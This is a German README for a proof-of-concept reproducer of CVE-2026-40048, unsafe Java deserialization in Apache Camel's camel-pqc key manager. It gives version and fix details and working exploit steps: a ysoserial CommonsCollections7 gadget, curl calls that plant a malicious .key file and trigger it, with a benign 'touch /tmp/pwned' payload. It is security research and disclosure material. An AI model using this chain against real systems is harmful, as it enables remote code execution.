
Reproducer für CVE-2026-40048: Apache Camel camel-pqc FileBasedKeyLifecycleManager unsichere Deserialisierung (RCE)
Dieses Projekt demonstriert eine Java-Deserialisierungsschwachstelle in der camel-pqc-Komponente von Apache Camel, die als CVE-2026-40048 geführt wird. FileBasedKeyLifecycleManager liest <keyId>.key-Dateien aus dem konfigurierten Schlüsselverzeichnis mit einem rohen ObjectInputStream und ohne ObjectInputFilter, sodass ein Angreifer, der in dieses Verzeichnis schreiben kann, Remote-Code-Ausführung erreichen kann.
Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-40048.html
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-pqc |
| Betroffene Klasse | org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey) |
| CWE | CWE-502: Deserialisierung nicht vertrauenswürdiger Daten |
| Auswirkung | Remote-Code-Ausführung (RCE) |
| Betroffene Versionen | Von 4.18.0 bis vor 4.18.2 und von 4.19.0 bis vor 4.20.0 |
| Behobene Versionen | 4.18.2, 4.20.0 |
| JIRA | CAMEL-23200 |
| Melder | Andrea Cosentino (ASF), Venkatraman Kumar (Securin) |
FileBasedKeyLifecycleManager speichert Post-Quanten-Schlüssel als serialisierte Java-Objekte in <keyDir>/<keyId>.key. Beim Laden eines Schlüssels wird diese Datei mit einem rohen ObjectInputStream deserialisiert, und die Typumwandlung zu KeyPair erfolgt erst nachdem readObject() zurückgekehrt ist:
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId); // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
KeyPair keyPair = (KeyPair) ois.readObject(); // NO ObjectInputFilter — gadget runs before the cast
...
}
Ein Angreifer, der in das Schlüsselverzeichnis schreiben kann – etwa durch Path-Traversal, falsch konfigurierte Volume-Berechtigungen, eine kompromittierte Schlüsselbereitstellungs-Pipeline oder einen Symlink-Angriff – kann ein präpariertes serialisiertes Objekt einschleusen, das während eines normalen Ladevorgangs im Schlüssel-Lebenszyklus ausgeführt wird.
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
<keyId>.key platzierencurl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"
docker exec cve-2026-40048 ls -la /tmp/pwned
docker compose down
getKey() wird während normaler Vorgänge im Schlüssel-Lebenszyklus aufgerufen (Abruf von Signatur-/Verifikationsschlüsseln, Rotationsprüfungen usw.), sodass jedes Laden einer vom Angreifer platzierten <keyId>.key-Datei die Deserialisierung auslöst.
FileBasedKeyLifecycleManager verwendet wird (geteiltes/falsch konfiguriertes Volume, Path-Traversal, kompromittierte Bereitstellung, Symlink).commons-collections:3.2.1).Das Muster ObjectInputStream im Schlüsselspeicher wurde anschließend umfassender behandelt:
Aktualisieren Sie auf 4.18.2 / 4.20.0. Der Fix ersetzt die ObjectInputStream-basierte Speicherung durch eine standardkonforme Base64-JSON-Kodierung im Format PKCS#8 (privater Schlüssel) / X.509 SubjectPublicKeyInfo (öffentlicher Schlüssel).
Bis zum Upgrade:
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ └── ExploitController.java # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
└── resources/
└── application.properties
Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt und bezieht sich auf eine öffentlich bekannt gegebene und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.